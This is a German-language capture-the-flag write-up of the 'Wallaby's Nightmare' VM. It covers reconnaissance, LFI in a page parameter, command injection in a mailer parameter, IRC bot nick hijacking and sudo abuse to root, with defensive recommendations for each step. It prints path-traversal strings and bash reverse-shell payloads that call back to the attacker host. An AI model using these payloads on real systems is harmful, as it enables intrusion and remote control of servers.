Analyse: Ein ARP-Scan wird im lokalen Netzwerk durchgeführt.
Bewertung: Das Zielsystem wird unter `192.168.2.139` identifiziert. Die MAC-Adresse (`08:00:27:9d:77:f8`) weist auf eine Oracle VirtualBox VM hin.
Empfehlung (Offensiv): Die IP für weitere Scans verwenden.
Empfehlung (Defensiv): Netzwerk-Monitoring kann helfen, solche Scans zu erkennen.
ARP-Scan 192.168.2.139 08:00:27:9d:77:f8 PCS Systemtechnik GmbH
Analyse: Nmap-Scan (`-sS -sV -A -T5 -p- -Pn --min-rate 5000`) wird ausgeführt und nach offenen Ports gefiltert.
Bewertung: Findet zwei offene Ports: 22 (SSH - OpenSSH 7.2p2) und 80 (HTTP - Apache 2.4.18). Port 6667 (IRC) ist gefiltert.
Empfehlung (Offensiv): Fokus auf SSH und HTTP. IRC im Hinterkopf behalten, falls die Firewall-Regel umgangen werden kann.
Empfehlung (Defensiv): Nicht benötigte Ports schließen. Apache und SSH aktualisieren.
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Analyse: Die vollständige Nmap-Ausgabe wird angezeigt.
Bewertung: Bestätigt Port 22 (OpenSSH 7.2p2) und Port 80 (Apache 2.4.18). Beide Versionen sind veraltet. Der HTTP-Titel "Wallaby's Server" deutet auf das Thema der VM hin. Port 6667 (IRC) wird als gefiltert bestätigt. OS-Erkennung: Linux 3.X|4.X.
Empfehlung (Offensiv): Den Webserver auf Port 80 untersuchen. SSH für spätere Angriffe vormerken. Bekannte Schwachstellen für Apache 2.4.18 und OpenSSH 7.2p2 prüfen.
Empfehlung (Defensiv): Apache und OpenSSH dringend aktualisieren.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-29 20:31 CET Nmap scan report for ubuntu (192.168.2.139) Host is up (0.00013s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 6e:07:fc:70:20:98:f8:46:e4:8d:2e:ca:39:22:c7:be (RSA) | 256 99:46:05:e7:c2:ba:ce:06:c4:47:c8:4f:9f:58:4c:86 (ECDSA) |_ 256 4c:87:71:4f:af:1b:7c:35:49:ba:58:26:c1:df:b8:4f (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Wallaby's Server 6667/tcp filtered irc MAC Address: 08:00:27:9D:77:F8 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.13 ms ubuntu (192.168.2.139) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds
Analyse: Die IP `192.168.2.139` wird dem Hostnamen `nightmare.vln` in der lokalen `/etc/hosts`-Datei zugeordnet.
Bewertung: Erleichtert die Ansprache des Ziels. Der Hostname passt zum VM-Titel "Wallaby's Nightmare".
[...] 192.168.2.139 nightmare.vln [...]
Analyse: Ein Nikto-Scan wird gegen Port 80 ausgeführt.
Bewertung: Nikto findet die üblichen Probleme (fehlende Header, ETag-Leak, veraltete Apache-Version) und `/icons/README`. Entscheidend ist jedoch der Fund: `/index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal...`. Auch wenn die Zuordnung zu "PHP-Nuke" wahrscheinlich falsch ist, identifiziert Nikto korrekt eine Local File Inclusion (LFI)-Schwachstelle im `page`-Parameter von `index.php`. Der Scan bricht wegen zu vieler Fehler ab.
Empfehlung (Offensiv): Die LFI-Schwachstelle mit dem `page`-Parameter in `index.php` ausnutzen, um Systemdateien zu lesen.
Empfehlung (Defensiv): LFI durch korrekte Eingabevalidierung und Vermeidung direkter Inklusion von Benutzereingaben beheben. Apache aktualisieren.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.139 + Target Hostname: 192.168.2.139 + Target Port: 80 + Start Time: 2023-11-29 20:31:56 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.18 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.18 appears to be outdated [...]. + /: Web Server returns a valid response with junk HTTP methods [...]. + /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php). <-- LFI Found! + /icons/README: Apache default file found. [...] + ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected + Scan terminated: 20 error(s) and 6 item(s) reported on remote host + End Time: 2023-11-29 20:32:04 (GMT1) (8 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Der Pentester versucht, die von Nikto identifizierte LFI auszunutzen, indem `http://nightmare.vln/index.php?page=../../../../../../../../../../etc/passwd` aufgerufen wird.
Bewertung: Die Seite zeigt nicht den Inhalt von `/etc/passwd`, sondern eine Nachricht, die sich direkt an "ben" (den Angreifer) richtet und erwähnt, dass sein Verhalten beobachtet wird. Dies bestätigt, dass die LFI funktioniert, aber der Output manipuliert oder gefiltert wird (Honeypot-Verhalten).
Empfehlung (Offensiv): Den Quelltext der zurückgegebenen Seite untersuchen. Möglicherweise ist der Inhalt von `/etc/passwd` im Quelltext versteckt (z.B. in HTML-Kommentaren).
Empfehlung (Defensiv): LFI beheben. Honeypots können Angreifer verlangsamen oder täuschen, sind aber keine Lösung für die zugrundeliegende Schwachstelle.
http://nightmare.vln/index.php?page=../../../../../../../../../../etc/passwd What the heck is this? Some guy named ben is trying to penetrate my server? Loser must not know I'm the great Wallaby! Let's observe him for now, maybe I could learn about him from his behavior.
Analyse: Der Quelltext der vorherigen Seite wird angezeigt.
Bewertung: Volltreffer! Der Quelltext enthält JavaScript-Code (eine Funktion namens `post`) und direkt darunter, eingebettet in einen HTML-Kommentar (``), den vollständigen Inhalt von `/etc/passwd`. Dies bestätigt die LFI und enthüllt die Benutzerliste. Relevante Benutzer mit Shell sind: `root`, `walfin`, `steven?`. Der Eintrag für `ircd` wird explizit als "dis-information" markiert.
Empfehlung (Offensiv): Die Benutzernamen `walfin` und `steven?` als Ziele für weitere Angriffe (SSH-Bruteforce, Default-Passwörter) verwenden. Andere interessante Dateien über LFI lesen (z.B. `/etc/shadow`, Webserver-Konfiguration, Anwendungs-Code).
Empfehlung (Defensiv): LFI beheben! Keine sensiblen Daten, auch nicht in Kommentaren, über Webserver exponieren.
view-source:http://nightmare.vln/index.php?page=../../../../../../../../../../etc/passwdWallaby's Server What the heck is this? Some guy named ben is trying to penetrate my server? Loser must not know I'm the great Wallaby!
Let's observe him for now, maybe I could learn about him from his behavior.
Analyse: Ein Nmap-Scan (vermutlich erneut gegen das Ziel, obwohl im Text eine andere IP steht - wird als Tippfehler interpretiert) findet einen weiteren offenen HTTP-Port: 60080.
Bewertung: Das Finden eines Webservers auf einem hohen, unüblichen Port ist ein wichtiger Hinweis. Oft werden hier Entwicklungs- oder weniger geschützte Anwendungen betrieben.
Empfehlung (Offensiv): Den Webserver auf Port 60080 genauso gründlich untersuchen wie den auf Port 80.
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) 60080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Analyse: Die LFI-Schwachstelle (`page=.../etc/passwd`) wird auf dem neuen Port 60080 getestet. Die Ausgabe wird nach `/bin/bash` gefiltert.
Bewertung: Die LFI funktioniert auch auf Port 60080 und liefert denselben `/etc/passwd`-Inhalt. Dies bestätigt die Benutzer `root`, `walfin`, `steven?` und `ircd` (als Desinformation markiert).
Empfehlung (Offensiv): Beide Webserver scheinen auf denselben Code oder eine ähnliche Konfiguration zuzugreifen. Die LFI ist auf beiden Ports nutzbar.
Empfehlung (Defensiv): LFI auf *allen* Webserver-Instanzen beheben.
root:x:0:0:root:/root:/bin/bash walfin:x:1000:1000:walfin,,,:/home/walfin:/bin/bash steven?:x:1001:1001::/home/steven?:/bin/bash ircd:x:1003:1003:,,,:/home/ircd:/bin/bash
Analyse: Gobuster wird zur Verzeichnissuche auf Port 60080 verwendet.
Bewertung: Findet `index.php`, `/javascript/` (Redirect), `sec.png` und `eye.jpg`. Keine offensichtlichen Angriffsvektoren hier.
Empfehlung (Offensiv): Die Bilder herunterladen und analysieren. Die `index.php` auf Port 60080 genauer untersuchen (via LFI oder nach Quellcode suchen).
=============================================================== Gobuster v3.5 [...] =============================================================== [+] Url: http://nightmare.vln:60080 [...] =============================================================== 2023/11/29 20:35:01 Starting gobuster in directory enumeration mode =============================================================== http://nightmare.vln:60080/index.php (Status: 200) [Size: 1143] http://nightmare.vln:60080/javascript (Status: 301) [Size: 328] [--> http://nightmare.vln:60080/javascript/] http://nightmare.vln:60080/sec.png (Status: 200) [Size: 57626] http://nightmare.vln:60080/eye.jpg (Status: 200) [Size: 15953] =============================================================== 2023/11/29 20:36:10 Finished ===============================================
Analyse: Der Quellcode der Startseite auf Port 60080 enthält einen Kommentar.
Bewertung: Der Kommentar ("HLY MLY, this guy ben...") ist eine weitere direkte Nachricht an den Pentester und bestätigt, dass der Portwechsel absichtlich zur Verschleierung ("security by obscurity") erfolgte.
Empfehlung (Offensiv): Bestätigt, dass Port 60080 das Hauptziel sein sollte. Die Interaktion mit dem VM-Autor zur Kenntnis nehmen.
HLY MLY, this guy ben wants me... Glad I moved to a different port so I could work more securely!!! As we all know, security by obscurity is the way to go...
Analyse: `wfuzz` wird verwendet, um den `page`-Parameter auf Port 60080 zu fuzzen (ähnlich LFI-Test, aber Suche nach gültigen Seiten).
Bewertung: Findet die gültigen Seiten `home`, `index`, `'` (führt zu Fehler/Änderung), `mailer`, `blacklist`. Die gleichen Seiten wie auf Port 80 (abzüglich `contact`, `name`).
Empfehlung (Offensiv): Die Seite `mailer` ist wegen potenzieller Command Injection am interessantesten.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://nightmare.vln:60080/index.php?page=FUZZ [...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000025: 200 30 L 115 W 1143 Ch "home" 000000002: 200 38 L 150 W 1358 Ch "index" 000002011: 200 38 L 157 W 1739 Ch "'" 000003062: 200 29 L 102 W 1081 Ch "mailer" 000004498: 200 27 L 106 W 990 Ch "blacklist" [...]
Analyse: Die Seiten `mailer` und `blacklist` werden auf Port 60080 aufgerufen.
Bewertung: Gleiches Ergebnis wie auf Port 80: `mailer` ist "Coming Soon", `blacklist` enthält eine Nachricht an "ben".
Empfehlung (Offensiv): Da `mailer` existiert, den `mail`-Parameter auf Command Injection testen.
http://nightmare.vln:60080/index.php?page=mailer Coming Soon guys! http://nightmare.vln:60080/index.php?page=blacklist Ban is on for You are S predictable ben :D. Won't get the machine like this, I can see your every move! And your IP :D
Analyse: `wfuzz` wird verwendet, um den `mail`-Parameter auf der `mailer`-Seite (Port 60080) mit einer Wortliste zu fuzzen, um potenzielle Command Injection zu finden.
Bewertung: Der Fuzzer ist extrem erfolgreich! Viele Standard-Linux-Befehle (`info`, `users`, `id`, `ls`, `ps`, `netstat`, `ifconfig`, `who`, etc.) führen zu einer validen Antwort (HTTP 200) mit abweichender Größe, was auf erfolgreiche Befehlsausführung hindeutet.
Ergebnis: Command Injection im `mail`-Parameter auf `index.php?page=mailer` bestätigt.
Empfehlung (Offensiv): Die Command Injection nutzen, um das System weiter zu enumerieren (Benutzer auflisten, Verzeichnisse lesen) und eine Reverse Shell zu erlangen.
Empfehlung (Defensiv): Command Injection durch Validierung und Sanitisierung aller Benutzereingaben verhindern. Niemals Benutzereingaben direkt an Systembefehle übergeben. Parametrisierte Abfragen oder sichere APIs verwenden.
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://nightmare.vln:60080/index.php?page=mailer&mail=FUZZ [...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000072: 200 218 L 1293 W 12317 Ch "info" 000000189: 200 30 L 103 W 1087 Ch "users" 000000203: 200 30 L 109 W 1157 Ch "dir" [...] 000000516: 200 30 L 105 W 1135 Ch "id" [...] 000003086: 200 35 L 108 W 1146 Ch "ls" [...] 000009249: 200 31 L 114 W 1176 Ch "size" [...] 000011351: 200 38 L 111 W 1366 Ch "env" [...] 000013695: 200 30 L 102 W 1082 Ch "echo" [...]
Analyse: Die Command Injection wird genutzt, um Befehle auszuführen: `mail=users`, `mail=id`, `mail=ls /home`, `mail=ls /home/waldo`, `mail=ls /var/www/html`, `mail=cat /var/www/html/index.php`.
Bewertung: Die Befehle bestätigen:
view-source:http://nightmare.vln:60080/index.php?page=mailer&mail=users waldo view-source:http://nightmare.vln:60080/index.php?page=mailer&mail=id uid=33(www-data) gid=33(www-data) groups=33(www-data) view-source:http://nightmare.vln:60080/index.php?page=mailer&mail=ls%20/home ircd waldo wallaby view-source:http://nightmare.vln:60080/index.php?page=mailer&mail=ls%20/home/waldo/ irssi.sh Unreal3.2.10.4 Unreal3.2.10.4.tar.gz view-source:http://nightmare.vln:60080/index.php?page=mailer&mail=ls%20/var/www/html a.out eye.jpg index.php s13!34g$3FVA5e@ed sec.png typescript uname.txt view-source:http://nightmare.vln:60080/index.php?page=mailer&mail=cat%20/var/www/html/index.php
Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Über die Command Injection (`mail`-Parameter) wird ein Bash-Reverse-Shell-Payload ausgeführt.
Bewertung: Die Verbindung kommt erfolgreich auf dem Listener an. Der Angreifer erhält eine Shell als Benutzer `www-data`.
Ergebnis: Erfolgreicher Initial Access über Command Injection.
Empfehlung (Offensiv): Shell stabilisieren und mit der Privilegieneskalation beginnen.
Empfehlung (Defensiv): Command Injection beheben. Egress-Filtering implementieren.
listening on [any] 4444 ...
Payload = view-source:http://nightmare.vln:60080/index.php?page=mailer&mail=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 58332 bash: cannot set terminal process group (779): Inappropriate ioctl for device bash: no job control in this shell
Analyse: Als `www-data` werden SUID-Dateien gesucht.
Bewertung: Die Liste enthält `/lib/uncompress.so` mit SUID-Bit (ungewöhnlich, potenzielle Schwachstelle aus älteren Exploits), sowie Standard-Binaries (`su`, `ping`, `mount`, `passwd`, `sudo`). `/usr/bin/sudo` ist vorhanden.
Empfehlung (Offensiv): `sudo -l` ausführen, um die Berechtigungen von `www-data` zu prüfen. `/lib/uncompress.so` untersuchen.
Empfehlung (Defensiv): Unnötige SUID-Bits entfernen (`chmod u-s /lib/uncompress.so`). System aktuell halten.
402791 48 -rwSr--r-- 1 root root 45456 Jan 9 2016 /lib/uncompress.so <-- Unusual 1048668 40 -rwsr-xr-x 1 root root 40128 Mar 29 2016 /bin/su 1048652 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6 1048637 40 -rwsr-xr-x 1 root root 40152 May 26 2016 /bin/mount 1048651 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping 1048829 140 -rwsr-xr-x 1 root root 142032 Feb 17 2016 /bin/ntfs-3g 1048686 28 -rwsr-xr-x 1 root root 27608 May 26 2016 /bin/umount 1048622 32 -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount 13174 420 -rwsr-xr-x 1 root root 428240 Aug 11 2016 /usr/lib/openssh/ssh-keysign 365 12 -rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device 4008 44 -rwsr-xr-- 1 root messagebus 42992 Oct 12 2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 4431 12 -rwsr-xr-x 1 root root 10624 Apr 15 2016 /usr/bin/vmware-user-suid-wrapper 105 76 -rwsr-xr-x 1 root root 75304 Mar 29 2016 /usr/bin/gpasswd 241 136 -rwsr-xr-x 1 root root 136808 Aug 17 2016 /usr/bin/sudo 42 52 -rwsr-xr-x 1 root root 49584 Mar 29 2016 /usr/bin/chfn 169 40 -rwsr-xr-x 1 root root 39904 Mar 29 2016 /usr/bin/newgrp 180 56 -rwsr-xr-x 1 root root 54256 Mar 29 2016 /usr/bin/passwd 44 40 -rwsr-xr-x 1 root root 40432 Mar 29 2016 /usr/bin/chsh
Analyse: `/etc/passwd` wird überprüft (normal). Netzwerk-Sockets (`ss -altpn`) zeigen die bekannten Ports 3306 (MySQL lokal), 6667 (IRC lokal), 22 (SSH), 60080 (HTTP). Das Verzeichnis `s13!...` wird untersucht, enthält PHP-Dateien der Whitelist. `uname -a` zeigt den Kernel (4.4.0-31). `sudo -l` wird ausgeführt.
Bewertung: Die Enumeration bestätigt frühere Funde. Die Untersuchung des `s13!...`-Verzeichnisses liefert keine direkten neuen Angriffspunkte. Die Ausgabe von `sudo -l` ist der entscheidende Schritt: `www-data` darf `/usr/bin/vim /etc/apache2/sites-available/000-default.conf` als Benutzer `waldo` ohne Passwort ausführen und `/sbin/iptables` als `ALL` ohne Passwort.
Empfehlung (Offensiv): Die `sudo vim`-Regel ausnutzen, um als Benutzer `waldo` Befehle auszuführen oder eine Shell zu erhalten. Die `iptables`-Regel ist weniger nützlich für direkte Eskalation, könnte aber zum Umgehen von Firewalls dienen.
Empfehlung (Defensiv): `sudo`-Regeln überprüfen. Insbesondere das Bearbeiten von Konfigurationsdateien mit Editoren wie `vim` über `sudo` ist gefährlich, da diese oft Shell-Escapes ermöglichen. `NOPASSWD` sparsam verwenden.
-rw-r--r-- 1 root root 1668 Dec 16 2016 /etc/passwd
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 80 127.0.0.1:3306 *:* LISTEN 0 5 *:6667 *:* LISTEN 0 128 *:22 *:* LISTEN 0 128 :::60080 :::* LISTEN 0 128 :::22 :::*
total 44 drwxr-xr-x 2 root root 4096 Dec 27 2016 . drwxr-xr-x 3 www-data www-data 4096 Nov 29 14:43 .. -rw-r--r-- 1 root root 339 Dec 27 2016 althome.php -rw-r--r-- 1 root root 698 Dec 27 2016 blacklist.php -rw-r--r-- 1 root root 78 Dec 16 2016 contact.php -rw-r--r-- 1 root root 371 Dec 16 2016 first_visit.php -rw-r--r-- 1 root root 379 Dec 16 2016 home.php -rw-r--r-- 1 root root 1350 Dec 27 2016 honeypot.php -rw-r--r-- 1 root root 213 Dec 15 2016 index.php -rw-r--r-- 1 root root 461 Dec 16 2016 mailer.php -rw-r--r-- 1 root root 667 Dec 16 2016 welcome.php
Linux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
Matching Defaults entries for www-data on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin User www-data may run the following commands on ubuntu: (waldo) NPASSWD: /usr/bin/vim /etc/apache2/sites-available/000-default.conf (ALL) NPASSWD: /sbin/iptables
Analyse: Verschiedene Versuche, die `sudo vim`-Regel auszunutzen, um eine Shell als `waldo` zu erhalten: `sudo -u waldo vim ...` mit `:!/bin/sh`, `vim -c ':!/bin/sh'` (ohne sudo), `/usr/bin/vim --cmd ':set shell=/bin/sh|:shell'` (ohne sudo).
Bewertung: Der erste Versuch (`sudo -u waldo...`) scheitert mit `!sh: not found`, was darauf hindeutet, dass die Shell-Umgebung innerhalb von `sudo vim` eingeschränkt ist oder `/bin/sh` nicht direkt aufgerufen werden kann. Die anderen Versuche ohne `sudo` sind irrelevant, da sie nur eine Shell als `www-data` starten würden.
Ergebnis: Der direkte Shell-Escape aus `sudo vim` als `waldo` scheint hier nicht trivial zu funktionieren.
Empfehlung (Offensiv): Andere Methoden zum Missbrauch der `sudo vim`-Berechtigung prüfen (z.B. Schreiben in `waldo`'s `.bashrc` oder SSH `authorized_keys` über vim). Alternativ: den Fokus auf den IRC-Hinweis legen.
/bin/sh: 1: !sh: not found Press ENTER or type command to continue
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Der Bericht beschreibt einen komplexen Satz von Aktionen, die auf eine Interaktion mit einem IRC-Bot hindeuten, der in einer `tmux`-Sitzung läuft, wahrscheinlich vom Benutzer `waldo` gestartet (basierend auf den Dateien in `/home/waldo`). Die Schritte sind:
1. “tmux attach” 2. /exit * waldo has quit (Quit: leaving) In hexchat (oder anderem IRC Client): 1. /nick waldo * You are now known as waldo 2. Go to wallabysbot window and chat with the bot, you can now run .run whoami.run whoami b'wallaby' .run bash -c "bash -i >& /dev/tcp/192.168.2.199/8080 0>&1"
Analyse: Ein Netcat-Listener wird auf Port 8080 gestartet. Nach Ausführung des `.run bash -c ...`-Befehls im IRC geht eine Verbindung ein.
Bewertung: Die Reverse Shell ist erfolgreich. Der Angreifer hat nun eine Shell als Benutzer `wallaby`.
Ergebnis: Erfolgreiche Privilegieneskalation von `www-data` (implizit, da von dort aus `tmux attach` möglich sein müsste) zu `wallaby`.
Empfehlung (Offensiv): Rechte des Benutzers `wallaby` prüfen (`sudo -l`).
listening on [any] 8080 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.156] 48748 bash: cannot set terminal process group (637): Inappropriate ioctl for device bash: no job control in this shell
Analyse: Als Benutzer `wallaby` wird `sudo -l` ausgeführt.
Bewertung: Das Ergebnis `(ALL) NPASSWD: ALL` zeigt, dass `wallaby` volle, uneingeschränkte `sudo`-Rechte ohne Passworteingabe hat.
Empfehlung (Offensiv): `sudo su` oder `sudo /bin/bash` ausführen, um Root zu werden.
Empfehlung (Defensiv): Niemals `(ALL) NPASSWD: ALL` vergeben, außer für absolut vertrauenswürdige Admin-Konten, und selbst dann ist `NOPASSWD` riskant. Prinzip der geringsten Rechte anwenden.
Matching Defaults entries for wallaby on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin User wallaby may run the following commands on ubuntu: (ALL) NPASSWD: ALL
Analyse: Der Befehl `sudo su` wird ausgeführt. Anschließend wird das `/root`-Verzeichnis aufgelistet und `flag.txt` gelesen.
Bewertung: `sudo su` gewährt sofortigen Root-Zugriff. Die Root-Flag wird erfolgreich ausgelesen.
Ergebnis: Finale Privilegieneskalation zu Root erfolgreich.
Empfehlung (Offensiv): Ziel erreicht.
Empfehlung (Defensiv): `sudo`-Regeln korrigieren.
root
total 48 drwx------ 4 root root 4096 Dec 27 19:31 . drwxr-xr-x 22 root root 4096 Dec 14 19:24 .. drwxr-xr-x 2 root root 4096 Dec 27 11:27 backups -rw------- 1 root root 1 Dec 27 12:26 .bash_history -rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc -rwxr-xr-x 1 root root 510 Dec 27 19:31 check_level.sh -rw-r--r-- 1 root root 342 Dec 16 16:52 flag.txt -rw------- 1 root root 18 Dec 15 13:03 .mysql_history drwxr-xr-x 2 root root 4096 Dec 15 13:10 .nano -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw-r--r-- 1 root root 66 Dec 15 17:50 .selected_editor -rw------- 1 root root 214 Dec 16 17:09 .wget-hsts
#CONGRATULATIONS#
Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.
Schwachstelle: Local File Inclusion (LFI) im `page`-Parameter der `index.php` auf Port 80 und 60080. Der PHP-Code inkludiert den Wert des Parameters, wahrscheinlich nach Anhängen von `.php`, aber ohne ausreichende Validierung oder Sanitisierung, was das Einschleusen von Path Traversal (`../`) ermöglicht. Ein Filter verhindert zwar die direkte Anzeige von `/etc/passwd`, bettet sie aber in HTML-Kommentare ein.
Ziel des POC: Nachweis, dass durch Manipulation des `page`-Parameters beliebige lokale Dateien (hier `/etc/passwd`) gelesen werden können.
Voraussetzungen: Zugriff auf den Webserver auf Port 80 oder 60080.
Analyse: Nikto (`-h 192.168.2.139`) meldete die potenzielle LFI im `page`-Parameter. Wfuzz (`wfuzz ... -u "http://.../index.php?page=FUZZ"`) bestätigte, dass der Parameter existiert und auf bestimmte Werte (`home`, `index`, `mailer`, `blacklist`) reagiert.
Analyse: Der Versuch, `/etc/passwd` direkt über `?page=../../../../../../../../../../etc/passwd` zu inkludieren, lieferte eine Honeypot-Nachricht.
Bewertung: Zeigt, dass ein einfacher Filter existiert, der diesen spezifischen String erkennt.
Analyse Forts.: Durch Betrachten des Quellcodes der Honeypot-Antwort (`view-source:...`) wurde der tatsächliche Inhalt von `/etc/passwd` innerhalb von HTML-Kommentaren gefunden.
Ergebnis des POC: Die LFI-Schwachstelle wurde bestätigt. Obwohl ein einfacher Filter den direkten Output blockierte, konnte der Inhalt sensibler Dateien durch Analyse des Quellcodes der Antwortseite extrahiert werden.
Risikobewertung: Hoch. Erlaubt das Auslesen beliebiger Dateien, auf die der Webserver-Prozess Zugriff hat, was oft zu Credential Leaks oder dem Fund weiterer Schwachstellen führt.
Empfehlung (Defensiv): Benutzereingaben niemals direkt in `include`/`require` verwenden. Eingaben streng validieren (Whitelist-Ansatz). Pfade sicher zusammensetzen. Path Traversal verhindern. Honeypots sind keine ausreichende Sicherheitsmaßnahme. Sensible Informationen nicht im Quellcode verstecken.
Schwachstelle: Command Injection im `mail`-Parameter der Seite `index.php?page=mailer` auf Port 60080. Der Wert des `mail`-Parameters wird wahrscheinlich unsicher an einen Systembefehl (z.B. `sendmail`, `mail`) übergeben.
Ziel des POC: Nachweis, dass durch Anhängen oder Einfügen von Shell-Befehlen in den `mail`-Parameter beliebige Befehle auf dem Server im Kontext des Webserver-Benutzers (`www-data`) ausgeführt werden können.
Voraussetzungen: Zugriff auf den Webserver auf Port 60080. Kenntnis der verwundbaren Seite und des Parameters.
Analyse: Wfuzz (`wfuzz ... -u "...page=mailer&mail=FUZZ"`) wurde verwendet, um den `mail`-Parameter zu fuzzen. Viele Standard-Linux-Befehle führten zu gültigen HTTP-Antworten mit abweichender Größe, was auf Befehlsausführung hindeutete.
Analyse: Durch Aufrufen von URLs wie `...page=mailer&mail=id` oder `...page=mailer&mail=ls%20/home` wurden die entsprechenden Befehle ausgeführt und deren Ausgabe im Quelltext der Antwortseite gefunden.
Bewertung: Dies bestätigt die Command Injection eindeutig.
Exploit: Ein Bash-Reverse-Shell-Payload wurde URL-kodiert und über den `mail`-Parameter eingeschleust (`...page=mailer&mail=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F[IP]%2F[PORT]%200%3E%261%27`).
Ergebnis des POC: Die Command Injection wurde erfolgreich ausgenutzt, um eine Reverse Shell als `www-data` zu erhalten.
Risikobewertung: Kritisch. Erlaubt beliebige Befehlsausführung als Webserver-Benutzer, was oft zum vollständigen Systemzugriff führt.
Empfehlung (Defensiv): Benutzereingaben strikt validieren und sanitisieren. Niemals Benutzereingaben direkt in Shell-Befehle oder `system()`/`exec()`-Aufrufe einfügen. Sicherere APIs zur Interaktion mit Systemfunktionen verwenden. Web Application Firewall (WAF) zur Erkennung/Blockierung von Injection-Angriffen einsetzen.
Schwachstelle: Ein IRC-Bot (`wallabysbot`) führt Befehle aus, die ihm von einem Benutzer mit dem Nickname `waldo` übermittelt werden. Der Bot führt diese Befehle im Kontext des Systembenutzers `wallaby` aus. Der Nickname `waldo` kann von einem Angreifer übernommen werden, wenn der legitime Benutzer die Verbindung verliert (hier durch `/exit` in `tmux`).
Ziel des POC: Nachweis, dass durch Übernahme des `waldo`-Nicks und Senden eines `.run`-Befehls an den Bot Code als Benutzer `wallaby` ausgeführt werden kann.
Voraussetzungen: Möglichkeit, die `tmux`-Sitzung von `waldo` zu übernehmen (z.B. als `www-data`, falls `tmux` für alle lesbar/schreibbar ist, oder durch vorherige Kompromittierung von `waldo`). Ein IRC-Client. Kenntnis des Bot-Namens und des `.run`-Befehls.
Analyse: Der Angreifer übernimmt die `tmux`-Sitzung, zwingt den Benutzer `waldo` zum Verlassen des IRC und registriert den Nickname `waldo` für sich selbst.
Analyse: Der Angreifer (mit Nick `waldo`) sendet `.run whoami` an `wallabysbot` und erhält `wallaby` als Antwort. Anschließend wird `.run bash -c "[Reverse Shell Payload]"` gesendet.
Bewertung: Dies bestätigt, dass der Bot Befehle als `wallaby` ausführt und zur Eskalation missbraucht werden kann.
Ergebnis des POC: Durch Manipulation des IRC-Bots konnte eine Reverse Shell als Benutzer `wallaby` erlangt werden.
Risikobewertung: Hoch. Ermöglicht die Übernahme des `wallaby`-Accounts durch einen anderen Benutzer.
Empfehlung (Defensiv): Bots sollten Befehle nur von authentifizierten und autorisierten Benutzern annehmen. Nickname-basierte Autorisierung ist unsicher. Bots sollten mit minimal notwendigen Rechten laufen. Sicherstellen, dass `tmux`/`screen`-Sitzungen korrekt geschützt sind.
Schwachstelle: Übermäßig permissive `sudoers`-Konfiguration, die dem Benutzer `wallaby` erlaubt, beliebige Befehle als beliebiger Benutzer ohne Passwort auszuführen (`(ALL) NPASSWD: ALL`).
Ziel des POC: Nachweis, dass `wallaby` diese Regel nutzen kann, um volle Root-Rechte zu erlangen.
Voraussetzungen: Zugriff als Benutzer `wallaby`. Die fehlerhafte `sudoers`-Regel.
Analyse: Der Befehl `sudo -l` als `wallaby` zeigt die Regel `(ALL) NPASSWD: ALL`.
